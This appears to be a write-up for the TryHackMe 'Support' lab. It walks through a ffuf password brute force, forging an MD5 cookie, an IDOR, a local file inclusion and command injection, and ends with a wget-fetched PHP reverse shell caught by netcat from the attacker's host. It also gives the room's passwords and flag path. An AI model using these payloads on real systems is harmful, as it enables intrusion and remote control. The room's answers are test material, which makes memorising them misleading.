Support Walkthrough | TryHackMe

I started by running an Nmap SYN scan with version detection to see which ports were open on the machine.

Upon navigating to http://MACHINE_IP:80, we are greeted by this login page. Clearly, we need to bypass this login.

The suggested email help@support.thm will be used to perform a password brute force attack against. An unsuccessful attempt returns Invalid credentials , this can be used to filter attempts.

ffuf -w rockyou.txt -u http://MACHINE_IP/ -X POST -d "email=help@support.thm&password=FUZZ" -H "Content-Type: application/x-www-form-urlencoded" -fr "Invalid credentials"

ffuf -w rockyou.txt -u http://MACHINE_IP/ -X POST -d "email=help@support.thm&password=FUZZ" -H "Content-Type: application/x-www-form-urlencoded" -fr "Invalid credentials"

You can use the above ffuf command to find a valid password. It uses the RockYou wordlist.

Once you log in as help@support.thm with the password — snoopy, you'll end up on this page.

Navigate to Storage > Cookies > http://MACHINE_IP in the Developer Tools to find this.

The value for isITUser is an MD5 hash, you can verify it through this site.

A reverse lookup of the given MD5 hash returns the string 'false'. This means we can modify the cookie (set it to true) and grant ourselves access to IT Admin Panel.

The MD5 hash for 'true' is — b326b5062b2f0e69046810717534cb09.

Reload the page and you'll find a View API button.

The API does not enforce authorization, allowing us to access other user's data by changing the user ID.

Now, when we send a GET request using Developer Tools to /user/1 , the admin email is revealed — specialadmin@support.thm

To find the admin password, take a look at the theme dropdown menu. When we select a theme, the URL exposes a skin parameter. Here, Local File Inclusion vulnerability can be exploited!

http://MACHINE_IP/dashboard.php?skin=../config

Alright, now log in as admin using the retrieved credentials. You'll notice that it fails. The valid password is support110.

After logging in, the admin flag will be displayed on the screen. Next, if you look closely at the bottom of the page, a new dropdown menu has appeared.

You can choose to view Date/Time. Upon further investigation, you'll discover that it sends a POST request with payload sys=date (for date) or sys=date+%2B%22%25H%3A%25M%3A%25S%22 (for time).

It is vulnerable to command injection. You can verify it by sending the payload shown below.

sys=date; whoami

sys=date; whoami

If you just want the flag, send the payload shown below.

sys=date; cat /home/ubuntu/user.txt

sys=date; cat /home/ubuntu/user.txt

But, if you want a reverse shell, stick with me a little longer… :)

Let's use the php-reverse-shell script by pentestmonkey to gain a reverse shell.

First, start a python server on your machine.

python -m http.server 8000

python -m http.server 8000

Next, download the script on the target machine.

sys=date; wget http://YOUR_IP:8000/php-reverse-shell.php

sys=date; wget http://YOUR_IP:8000/php-reverse-shell.php

Make sure to modify php-reverse-shell.php to reflect your attacker machine IP and a port like 4444.

Spin up a netcat listener,

nc -lnvp 4444

nc -lnvp 4444

Now, simply navigate to http://MACHINE_IP/php-reverse-shell.php

This will execute the PHP script and send you a reverse shell.

Congratulations 🎉 you have successfully completed this room.

Thank you all for reading, see you in the next one!